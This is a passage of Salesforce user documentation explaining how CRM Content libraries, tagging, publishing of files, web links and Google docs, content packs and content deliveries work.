If you are using the Related Content related list on Salesforce objects, align your custom content fields with the standard and custom fields on the object to increase the accuracy of a Find Content search. Clicking the Find Content button on the related list matches content to the fields on the record and displays search results containing the related content. To ensure that content is classified consistently, define consistent tag names with your contributors. For example, by establishing tag names at the outset, you can avoid having tags such as channel and channels in the same library. Avoid using too many tags. The search engine helps users find specific content, whereas tags enable users to browse and subscribe. Therefore, excessive tagging creates unnecessary clutter. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used. To highlight valuable content and make it easier to find, mark it as featured on the content details page. Featured content receives a higher priority than similar content in search results, and appears on the Libraries tab for easy access. To feature content, users must have the Feature Content option checked in their library permission. If your organization uses Google Docs, encourage library members to add their Google docs to a library. Including Google docs in Salesforce CRM Content allows users to access all types of content from a single location and apply Salesforce CRM Content functionality, such as votes, comments, and subscriptions, to Google docs.

Managing Libraries

263

Salesforce CRM Content

Managing Libraries

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create libraries: Manage Salesforce CRM Content OR Create Libraries To edit libraries: Manage Salesforce CRM Content OR
Manage Libraries checked in your library permission

definition

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Clicking the Libraries tab opens the libraries home page. On the home page you can access your personal library, create new libraries in Salesforce CRM Content, choose a specific library to view or edit, and analyze library usage and activity. For details about the publishing options at the top of the page, see Uploading and Publishing Content on page 268. The libraries home page has two tabs: Shared Content, which provides information about shared libraries, and My Personal Content, which contains information about your personal library.

Shared Content
The Shared Content tab on the libraries home page contains the following sections: My Libraries This section lists all the libraries to which you have access. Click a library name to view details about that library or click Browse to view a list of all the content in the library. Click the New button to create new libraries, add users to a library, or assign library permissions to users. For more information, see Creating Libraries on page 1364. Featured Content This section lists the five pieces of content in your libraries most recently designed as featured. Featured content receives a higher priority than similar content in search results; for example, if 100 files contain the search criteria term sales asset, any featured files with that term will appear at the top of the search results list. To see all featured content, click Show All. To toggle a piece of content's feature status on or off, go to its content details page. Top Content This section includes lists that summarize content activity across all your libraries. Each list sorts content according to specific criteria. Within a list, click a file icon to download content or click a title to open the associated content details page. In the Top Content section you can choose from the following categories: Publication DateThis content is sorted in descending order according to the most recent publication date. Choose the number of records you want to view from the accompanying drop-down list, or click the Show All button to list all the published files, Web links, and Google docs.

264

Salesforce CRM Content

Managing Libraries

Num DownloadsThis content is sorted in descending order according to the highest number of downloads. The bar graphic indicates how one record compares to another. Choose the number of records you want to view from the accompanying drop-down list, or click the Show All button to list all the downloaded content. RatingThis content is sorted in descending order according to the highest number of thumbs-up votes. Green and red in the bar graphic represent positive and negative votes, respectively. Choose the number of records you want to view from the accompanying drop-down list, or click the Show All button to list all the content with votes. Num CommentsThis content is sorted in descending order according to the highest number of viewer comments. The bar graphic indicates how one record compares to another. Choose the number of records you want to view from the accompanying drop-down list, or click the Show All button to list all the content with associated comments.

Popular Tags This section, commonly referred to as a tag cloud, shows you how the content in your libraries has been labeled. Tags are descriptive terms assigned during upload or revision that help classify and organize content. Click a tag name to view search results containing all the files, Web links, and Google docs with that tag. The tag names increase in size within the tag cloud according to popularity, meaning that the largest tags have been assigned to the most content. You can choose to sort the tags alphabetically or by popularity. The tag cloud contains the 30 most popular tags. Recent Activity This section is a snapshot of activity within your libraries. It shows the most recent files, Web links, and Google docs to receive comments, votes, or subscriptions. Featured content and newly published content are also included, but new versions of existing content, archived content, and deleted content do not appear in the Recent Activity section. Use the Older and Newer buttons to scroll through records. The Recent Activity section contains a maximum of 100 records. Most Active Contributors This section shows the authors who have published content into your libraries most frequently. The names increase in size according to activity, so the largest names are the authors who have contributed the most content.

My Personal Content
The My Personal Content tab on the libraries home page is your private library. When you upload or create content and do not select a public library, your content is stored in your private library. You can publish content to a public library at any time or leave content in your private library indefinitely. Content in your private library can be assembled in content packs. It can also be sent to leads and contacts outside your organization using the content delivery feature. See Setting up Content Deliveries on page 1369 for more information. The My Personal Content tab has the following sections: Personal Library If you choose the Save to my personal library option when publishing a file, Web link, content pack, or Google doc, your content is saved here. You can publish or delete files from this list or click the file's name to view its content details page. The following options that are available on the content details page for shared content are not available for personal-library content: tagging, rating, subscribing, tracking downloads, tracking subscriptions, or using custom fields. If you publish a file from the Personal Library list and click Cancel during the publishing process, your file is deleted. Upload Interrupted If an error occurs when you are uploading a new file, for example your browser crashes or your session times out, the file you were uploading is saved here. Click Publish to publish the file to a public library or save it to your personal library. If you click Cancel on the Save or Publish Content dialog, your file will be deleted.

265

Salesforce CRM Content

Viewing and Editing Libraries

Revision Upload Interrupted If an error occurs when you are uploading a new version of a file, the file you were uploading is saved here. Users can continue to access the original version. Click Publish to publish the file to a public library or save it to your personal library. If you click Cancel on the Save or Publish Content dialog, your file will be deleted.

See Also:
Creating Libraries Managing Library Permissions Viewing and Editing Libraries Uploading and Publishing Content Searching for Content Creating Content Deliveries

Viewing and Editing Libraries


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit a library: Manage Salesforce CRM Content OR


Manage Libraries checked in your library permission

definition To add or remove library members: Manage Salesforce CRM Content OR


Manage Libraries checked in your library permission

definition

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Once you have located a Salesforce CRM Content library in the My Libraries area of the Libraries tab home page or on a content details page, click the library name to display detailed information. For details about the publishing options at the top of the page, see Uploading and Publishing Content on page 268. From the library title area, you can click the following quick links: Browse to view search results showing all the content in the library. Edit to change the library name or description. Delete to delete an empty library. If you want to delete a library that contains content, you must first move the content to another library or delete it and empty the Recycle Bin.

266

Salesforce CRM Content

Viewing and Editing Libraries

Note: If your Recycle Bin is empty and you are unable to delete the library, another user's Recycle Bin may contain deleted content from the same library. A library cannot be deleted until all its content is permanently deleted or moved to another library. Edit Members to add or remove library members or change their library permission. Tagging Rules to change the tagging method permitted in the library. Content Types to restrict the content types available to library contributors. View Archived Content to view a list of archived content in the library. If you do not have the Archive Content or Manage Libraries privilege in your library permission, the archived content list only contains content that you authored and archived, not content that other authors archived.

The library detail page contains the following sections: Members This section lists all the Salesforce CRM Content users who are members of the library. To limit the member list, enter a username and click Filter. You can filter by the beginning of a username but not the last name. To add new members to the library: 1. Click Add Members. 2. If you do not immediately see the member you want to add, enter keywords in the search box and click Find. 3. Select members from the Available Members box. Members can include individual Salesforce CRM Content users or public groups containing Salesforce CRM Content users. Tip: If you have a large number of Salesforce CRM Content users, create a public group and add the group to a library rather than adding users to the library individually. 4. Click Add to add the members to the library. 5. Click Next. 6. Select a library permission for each user or public group and click Save. To remove a member from the library, click Remove. To change a member's library permission, click Edit and choose a new library permission from the drop-down list. Featured Content This section lists the five pieces of content in the library most recently designated as featured. If no content has been featured, this section does not display. Featured content receives a higher priority than similar content in search results; for example, if 100 files contain the search criteria term sales asset, any featured files with that term will appear at the top of the search results list. To see all featured content, click Show All. To toggle the feature status on or off, go to its content details page. Top Content This section includes lists that summarize content activity in your library. Within a list, click a file icon to download the content or click the title to open the associated content details page. In the Top Content section you can choose from the following categories: Publication DateThis content is sorted in descending order according to the most recent publication date. Choose the number of records you want to view from the accompanying drop-down list, or click the Show All button to list all the published files, Web links, and Google docs.

267

Salesforce CRM Content

Viewing and Editing Libraries

Num DownloadsThis content is sorted in descending order according to the highest number of downloads. The bar graphic indicates how one record compares to another. Choose the number of records you want to view from the accompanying drop-down list, or click the Show All button to list all the downloaded content. RatingThis content is sorted in descending order according to the highest number of thumbs-up votes. Green and red in the bar graphic represent positive and negative votes, respectively. Choose the number of records you want to view from the accompanying drop-down list, or click the Show All button to list all the content with votes. Num CommentsThis content is sorted in descending order according to the highest number of viewer comments. The bar graphic indicates how one record compares to another. Choose the number of records you want to view from the accompanying drop-down list, or click the Show All button to list all the content with associated comments.

Popular Tags This tag cloud shows you how the content in your library has been labeled. Tags are descriptive terms assigned during upload or revision that help classify and organize content. Click a tag name to view search results containing all the files, Web links, and Google docs with that tag. The tag names increase in size within the tag cloud according to popularity, meaning that the largest tags have been assigned to the most content. You can choose to sort the tags alphabetically or by popularity. The tag cloud contains the 30 most popular tags. Recent Activity This section is a snapshot of activity within your library. It shows the most recent files, Web links, and Google docs to receive comments, votes, or subscriptions. Featured content and newly published content are also included, but new versions of existing content, archived content, and deleted content do not appear in the Recent Activity section. Use the Older and Newer buttons to scroll through records. The Recent Activity section contains a maximum of 100 records. Most Active Contributors This section shows the authors who have uploaded content into your library most frequently. The names increase in size according to activity, so the largest names are the authors who have contributed the most content.

See Also:
Managing Libraries Creating Libraries Assigning Library Tagging Rules Restricting Content Types Searching for Content Uploading and Publishing Content Deleting, Archiving, and Restoring Content

UPLOADING AND PUBLISHING


Uploading and Publishing Content

268

Salesforce CRM Content

Uploading and Publishing Content

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To upload and publish files and Web links:
Manage Libraries checked in your library permission

definition OR
Add Content checked in your library permission definition

To create and publish Google docs:

Google Apps account

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. The Libraries tab has several publishing-related options at the top of the page that let you upload, classify, and publish files, content packs, Web links, and Google docs in Salesforce CRM Content. Note: The Add Google Doc drop-down list on the Libraries tab only displays if your administrator has enabled the Add Google Doc to Salesforce service. For more information, see Activating Google Docs in Salesforce on page 303. For information about associating Google docs with Salesforce CRM Content from your Google Apps account, see Installing the Add Google Doc to Salesforce Browser Button on page 308. To publish files, Web links, and Google docs in Salesforce CRM Content, or to create content packs, refer to the following topics: Contributing Files to Salesforce CRM Content Contributing Web Links to Salesforce CRM Content Contributing Google Docs to Salesforce CRM Content Creating and Modifying Content Packs in Salesforce CRM Content

See Also:
Salesforce CRM Content File Size Limits Using Google Docs in Salesforce Searching for Content Updating Content Versions

Contributing Files to Salesforce CRM Content

269

Salesforce CRM Content

Contributing Files to Salesforce CRM Content

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To upload and publish files to a public library:


Manage Libraries checked in your library permission

definition OR
Add Content checked in your library permission definition

To upload and save files to a personal library:

None

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. To publish a file in Salesforce CRM Content: 1. Click the Libraries tab. 2. To publish a new file, click Browse and select the file. To publish a file that is already in your personal library, click the My Personal Content tab, locate the file, and then click Publish. Note: To publish multiple pieces of content at once, select two or more checkboxes in the My Personal Content tab and click Publish Selected. All selected content displays in a tab set within the Save or Publish Content dialog. Complete the following steps for each tab in the Save or Publish Content dialog. 3. Assign a title and description to your file. 4. Choose a library. This becomes the managing (home) library, meaning that the content can be shared with another library but only revised by a user with author permissions in the managing library. If you do not want the content to be visible to other users in your organization, for example if your work is still in progress, choose Save in my personal library. 5. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users restrict their content searches to a particular language, only content associated with that language is displayed in the search result set. 6. To publish the content on behalf of another author, choose that author from the drop-down list. 7. Tag your content. Your tagging permission depends on the tagging rule assigned to the library: If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically. If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new tag. Click a suggested tag to add it to the Tags field automatically. If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you select a tag it turns green. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

270

Salesforce CRM Content

Salesforce CRM Content File Size Limits

8. If multiple content types are available, choose one from the drop-down list. The content type determines which custom fields appear for you to categorize and define your content. 9. After completing the custom fields, click Publish or Save. Note: Files published to a shared library are added to your Files tab and available to other Chatter users in your organization. Files published to your personal library are added to your Files tab, but are private and not shared with anyone. For more information about Chatter files and Salesforce CRM Content files, see What is the difference between Files, Salesforce CRM Content, Salesforce Knowledge, and Documents? on page 3145 Contact Manager, Group, Professional, Enterprise, and Unlimited Edition customers can publish a maximum of 5,000 new versions per 24hour period. Developer Edition and trial users can publish a maximum of 2,500 new versions per 24hour period.

See Also:
Salesforce CRM Content File Size Limits Uploading and Publishing Content Managing Libraries Contributing Web Links to Salesforce CRM Content Contributing Google Docs to Salesforce CRM Content

Salesforce CRM Content File Size Limits


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

The following are maximum file size limits for files in Salesforce CRM Content: 2 GB 10 MB for Google Docs 10 MB for email attachments 38 MB when uploaded via the API 10 MB when uploaded via Visualforce

See Also:
Uploading and Publishing Content Using Google Docs in Salesforce Searching for Content Updating Content Versions

Contributing Web Links to Salesforce CRM Content

271

Salesforce CRM Content

Contributing Web Links to Salesforce CRM Content

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To publish Web links in Salesforce CRM Content:


Manage Libraries checked in your library permission

definition OR
Add Content checked in your library permission definition

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. To classify and publish a Web link in Salesforce CRM Content: 1. Click the Libraries tab. 2. To add a new link, click Contribute > Do you want to link to a website instead?, then enter the URL, and click Contribute. To publish a link that is already in your personal library, click the My Personal Content tab, locate the link, and click Publish. Note: To publish multiple pieces of content at once, select two or more checkboxes in the My Personal Content tab and click Publish Selected. All selected content displays in a tab set within the Save or Publish Content dialog. Complete the following steps for each tab in the Save or Publish Content dialog. 3. Assign a title and description to your Web link. 4. Choose a library. This becomes the managing (home) library, meaning that the Web link can be shared with another library but its content details page can only be edited by a user with relevant permissions in the managing library. If you do not want the link to be visible to other users in your organization, choose Save in my personal library. 5. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users restrict their content searches to a particular language, only content associated with that language is displayed in the search result set. 6. To publish the content on behalf of another author, choose that author from the drop-down list. 7. Tag your content. Your tagging permission depends on the tagging rule assigned to the library: If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically. If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new tag. Click a suggested tag to add it to the Tags field automatically. If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you select a tag it turns green. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

272

Salesforce CRM Content

Contributing Google Docs to Salesforce CRM Content

8. If multiple content types are available, choose one from the drop-down list. The content type determines which custom fields appear for you to categorize and define your content. 9. After completing the custom fields, click Publish or Save.

See Also:
Uploading and Publishing Content Contributing Files to Salesforce CRM Content Contributing Google Docs to Salesforce CRM Content

Contributing Google Docs to Salesforce CRM Content


Salesforce CRM Content is available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Google Docs is available in all editions

User Permissions Needed Creating a Google doc and linking it to a Salesforce CRM Content library: Library member with a library permission that permits contributing content AND Google Apps account

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. With Google Docs, you can create and share on-demand documents, presentations, and spreadsheets (Google docs) and see your changes in real time as you collaborate with other users. Associating your Google docs with Salesforce CRM Content allows you to access all types of content from a single, fully-indexed location. It also ensures that your Google docs receive the feedback and tracking benefits provided by Salesforce CRM Content features such as votes, comments, and subscriptions. Note: The Add Google Doc drop-down list on the Libraries tab only displays if your administrator has enabled the Add Google Doc to Salesforce service. For more information, see Activating Google Docs in Salesforce on page 303. For information about associating Google docs with Salesforce CRM Content from your Google Apps account, see Installing the Add Google Doc to Salesforce Browser Button on page 308. Adding New Google Docs to a Salesforce CRM Content Library 1. On the Libraries tab, choose New Document, New Spreadsheet, or New Presentation from the Add Google Doc drop-down button. You may be prompted to log in to Google Apps. 2. Enter a name for your document, spreadsheet, or presentation and click Create Google Doc. The blank Google doc opens and you can begin adding your text. The Save or Publish Content dialog in Salesforce CRM Content also opens. 3. In the Save or Publish Content dialog:

273

Salesforce CRM Content

Contributing Google Docs to Salesforce CRM Content

a. Optionally, provide a description of your Google doc. The description provides at-a-glance information for users who view the doc's content details page in Salesforce CRM Content. b. Choose a library. If you do not want to put the doc in a public library, for example if the doc is still in progress, choose Save in my personal library. c. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users restrict their content searches to a particular language, only content associated with that language is displayed in the search result set. d. To publish the content on behalf of another author, choose that author from the drop-down list. e. Tag your content. Your tagging permission depends on the tagging rule assigned to the library: If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically. If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new tag. Click a suggested tag to add it to the Tags field automatically. If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you select a tag it turns green. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

f. If multiple content types are available, choose one from the drop-down list. The content type determines which custom fields appear for you to categorize and define your content. g. After completing any custom fields, click Publish to save the Google doc to its Salesforce CRM Content library, or click Cancel to save the doc to your personal library. From there you can delete the doc from Salesforce CRM Content or publish it later. Once a Google doc is published in Salesforce CRM Content, all library members can search for the doc and provide feedback such as comments and votes. Note: While you have your Google doc open, remember to share it with other Google Apps users in your organization. Only users with access to the Google doc in their Google Apps account can open the doc from Salesforce CRM Content. Adding Existing Google Docs to a Salesforce CRM Content Library If you have an existing Google doc, you can publish it into a library: 1. On the Libraries tab, choose Add Existing from the Add Google Doc drop-down button. A list of all the Google docs in your Google Apps account displays. 2. Optionally, limit your list of docs by entering a search term or choosing to view only documents, presentations, or spreadsheets. 3. Select the Google doc that you want to add to Salesforce CRM Content and click Contribute. 4. Optionally, edit the title of your Google doc and/or add a description. 5. Choose a library. If you do not want to add the doc to a public library, for example if the doc is still in progress, choose Save in my personal library. 6. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users restrict their content searches to a particular language, only content associated with that language is displayed in the search result set. 7. To publish the content on behalf of another author, choose that author from the drop-down list.

274

Salesforce CRM Content

Creating and Modifying Content Packs in Salesforce CRM Content

8. Tag your content. Your tagging permission depends on the tagging rule assigned to the library: If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically. If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new tag. Click a suggested tag to add it to the Tags field automatically. If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you select a tag it turns green. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

9. If multiple content types are available, choose one from the drop-down list. The content type determines which custom fields appear for you to categorize and define your content. 10. After completing the custom fields, click Publish or Save.

See Also:
Salesforce CRM Content File Size Limits Using Google Docs in Salesforce Uploading and Publishing Content

Creating and Modifying Content Packs in Salesforce CRM Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or modify content packs in Salesforce CRM Content:
Manage Libraries checked in your library permission

definition OR
Add Content checked in your library permission definition

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. A content pack is a collection of related documents or files that are stored as a group in Salesforce CRM Content. For example, you may want to create a content pack with a product list, price quote, and contract to send to a particular customer. Any file in Salesforce CRM Content can be added to a content pack, from traditional business documents such as Microsoft PowerPoint presentations and Adobe PDF files, to audio files, video files, and Google docs. Using email or instant messaging, you can distribute the content pack to colleagues in your organization or leads and contacts outside your organization. The recipient

275

Salesforce CRM Content

Creating and Modifying Content Packs in Salesforce CRM Content

of a content delivery can click a single URL to open a preview player with which he or she can preview and download the content. You can then view tracking information to see how often the content pack was viewed and which documents were downloaded. For information about delivering content packs, see Setting up Content Deliveries on page 1369. Note: Content packs support all files types; however, the preview player launched by the content-delivery URL displays only PowerPoint, Word, Excel, and PDF files. The preview player does not display copy-protected PDFs. Also, working with content packs requires Adobe Flash Player, version 9.0.11.5 or higher. If you do not have Flash installed, Salesforce provides a link to Adobe's website where you can download Flash for free. To work with content packs: 1. Depending on whether you want to create, customize, or modify a content pack, use one of the following options: Note: The following options are only available if Enable content pack creation is selected on the Your Name > Setup > Customize > Salesforce CRM Content > Settings page. If content pack creation is disabled after packs have been created, Salesforce does not delete existing packs but they cannot be customized or modified. To create a new content pack, click the Libraries tab and then choose Create New > Content Pack. To create a new content pack by copying an existing pack and adding, removing, or reordering files, open the content details page for the pack and click Clone & Customize. To update a content pack and publish a new version, open the content details page for the pack and click Edit > Edit Content Pack.

2. Click Search files to display all the content in your libraries. To refine your results, select a specific library to search or enter a search term in the text box. In addition to files and documents, search results also list content packs. 3. Drag the desired content from the search results into the assembly section in the lower half of the window. The following options help you assemble your content pack: In the search results, click a document to preview it in the lower half of the window. Choose Add to Content Pack or Hide preview as needed. In the search results, hover over a document and click the folder icon ( ) to view the content packs that use the document. In the search results, hover over a content pack and click the folder icon ( ) to view all the documents in the pack. In the assembly section, hover over a document and click the garbage can icon ( ) to remove that document from the pack you are assembling. Click Clear at any time to revert your changes; click Cancel to return to the Libraries tab. Note: The maximum number of files that can be included in a content pack is 50.

4. When you are done assembling or modifying your content pack, click Save and assign or change the content pack's name. 5. In the Save or Publish Content dialog: a. Select a library. If you do not want the content pack to be visible to other users in your organization, for example if your work is still in progress, choose Save in my personal library. b. Optionally, add or modify the content pack's description. c. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If

276

Salesforce CRM Content

Using the Content Deliveries Related List

users restrict their content searches to a particular language, only content associated with that language is displayed in the search result set. d. If you are modifying the content pack, complete the Reason for Change field. e. To publish the content on behalf of another author, choose that author from the drop-down list. f. Tag your content. Your tagging permission depends on the tagging rule assigned to the library: If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically. If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new tag. Click a suggested tag to add it to the Tags field automatically. If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you select a tag it turns green. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

g. If multiple content types are available, choose one from the drop-down list. The content type determines which custom fields appear for you to categorize and define your content. h. Click Publish. You can then view the content details page, return to the Libraries tab, or publish another file.

See Also:
Uploading and Publishing Content Deleting, Archiving, and Restoring Content Viewing and Editing Content Subscriptions

Using the Content Deliveries Related List


Available in: All Editions except Database.com

User Permissions Needed To create a content delivery: To edit a content delivery: None Owner of the record OR Modify all Data

A content delivery allows you to easily convert documents such as Microsoft PowerPoint and Word files into an optimized web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient, such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition

277

Salesforce CRM Content

Creating Content Deliveries

to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how long the delivery is available to viewers and whether a viewer can download a file or see it online only. From the Content Deliveries related list on leads, business accounts, contacts, opportunities, cases, campaigns, and custom objects you can: Click Deliver Content to create a new content delivery and associate it with the record you are viewing. For more information, see Creating Content Deliveries on page 278. Click Preview to open the content delivery. Each time you view a content delivery, it is recorded as one internal view on the Views related list. Click the content delivery name to open the detail page for that delivery. For more information, see Viewing and Editing Content Deliveries on page 280.

See Also:
Salesforce CRM Content Overview

Creating Content Deliveries


Available in: All Editions except Database.com Salesforce CRM Content available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create content deliveries from a shared library in Salesforce Member of the library CRM Content: AND Deliver Content checked in your library permission definition To create content deliveries from a personal library inSalesforce Deliver Uploaded Files and Personal Content checked in CRM Content: your general permission definition To create content deliveries (non-Content user): Deliver Uploaded Files and Personal Content checked in your general permission definition

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. A content delivery allows you to easily convert documents such as Microsoft PowerPoint and Word files into an optimized web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient, such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how long the delivery is available to viewers and whether a viewer can download a file or see it online only.

278

Salesforce CRM Content

Creating Content Deliveries

A content delivery can be created from the Content Deliveries related list on most Salesforce objects. Salesforce CRM Content users can also create a content delivery from the content details page or the Related Content related list. To create a new content delivery: 1. From the Content Deliveries related list, Related Content related list, or the content details page, click Deliver Content. 2. Upload a file or confirm the file name. If you are a Salesforce CRM Content user, search for the content in your libraries that you want to deliver. Salesforce CRM Content users can search for content in shared libraries or a personal library. 3. Optionally, modify the Delivery Name field. This is the name that identifies your content delivery in Salesforce. We recommend using a name that will make the delivery easily distinguishable from other deliveries on the same record. The default delivery name includes the file name and todays date. 4. Select the delivery methods that determine how your content can be viewed. The options that appear depend on the file format you uploaded. Choose Allow Recipient to View in the Browser to create an online version of the file that recipients can view in their browser. Choose Allow Recipient to Download as [file type] file to allow the recipient of your content delivery to view the content in its original format. For example, if you uploaded a Microsoft Word file, this field will be Allow download as .doc file. Choose Allow Recipient to Download as PDF to create a .pdf version of the file. This option is only available for Microsoft PowerPoint, Word, and Excel files.

5. Select Notify Me of First View or Download if you want to receive an email the first time your recipient clicks the content-delivery URL. 6. If the content you are delivering is time-sensitive, select the Remove Access to Content on checkbox and enter an expiration date. By default, the expiration date is 90 days from the current date. After creating your content delivery, you can change the expiration date at any time on the delivery detail page. 7. Optionally, select Require a Password to Access Content. When you create the content delivery you will receive a password to include with the delivery URL that you send to your recipients. The password is available for the life of the delivery on the delivery detail page. 8. Optionally, use the lookup to associate your content delivery with a Salesforce record. The record you were viewing when you clicked Deliver Content is selected by default. 9. Click Save & Next. Your delivery will usually be ready within a few moments, but you can click Notify Me to exit the content delivery wizard and be notified via email when your content delivery is ready. 10. If you did not exit the content delivery wizard, click Preview to verify that you are satisfied with the delivery. Important: Formatting in the original file may not display correctly in the online version. If you chose Allow Recipient to View in the Browser, preview your content delivery before sending its URL to your recipients. If you are not happy with the quality of the online version, click Previous and choose to make your content available in its original file format or a PDF only. 11. Copy and paste the delivery URL and, if applicable, its password into an email or instant message for delivery. The URL is available on the delivery detail page. For more information, see Viewing and Editing Content Deliveries on page 280.

See Also:
Using the Content Deliveries Related List Setting up Content Deliveries Salesforce CRM Content Overview

279

Salesforce CRM Content

Viewing and Editing Content Deliveries

Viewing and Editing Content Deliveries


Available in: All Editions except Database.com Salesforce CRM Content available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the delivery detail page: Access to the associated content details page in Salesforce CRM Content OR Access to the record associated with the content delivery To edit, expire, or delete a content delivery: Owner of the record OR Modify all Data

On the Content Deliveries related list or the Content Deliveries list page, click the name of a content delivery to open the detail page. Viewing Content Delivery Details The delivery detail page provides all the information associated with a content delivery, including the URL required to access the content delivery, the number of times the delivery has been viewed, and the delivery settings. For a description of each field, see Content Delivery Fields on page 1371. Editing Content Delivery Details Click Expire Now to immediately remove access to the content delivery. Click Edit to modify details such as the delivery methods, expiration date, or the record the delivery is associated with. For a description of each field, see Content Delivery Fields on page 1371. Deleting Content Deliveries Click Delete to remove access to the content delivery and delete the delivery record from Salesforce. Salesforce CRM Content users cannot delete files that are associated with a content delivery until the content delivery is deleted. Tracking Content Deliveries Each time a content delivery's URL is opened, Salesforce records the event as a view. The Views related list on the content delivery detail page lists every view associated with the delivery. Information about the view includes the date and time, whether the view was by an internal (Salesforce) user, and whether the view included a download. If the content

280

Salesforce CRM Content

Searching for Content

delivery provided the ability to download the file in its original file format or as a PDF file, the File Downloaded flag indicates that a download occurred, but you cannot distinguish between file types.

See Also:
Creating Content Deliveries Using the Content Deliveries Related List

Searching for Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To search Salesforce CRM Content:


Salesforce CRM Content User checked in your personal

information AND Member of the library

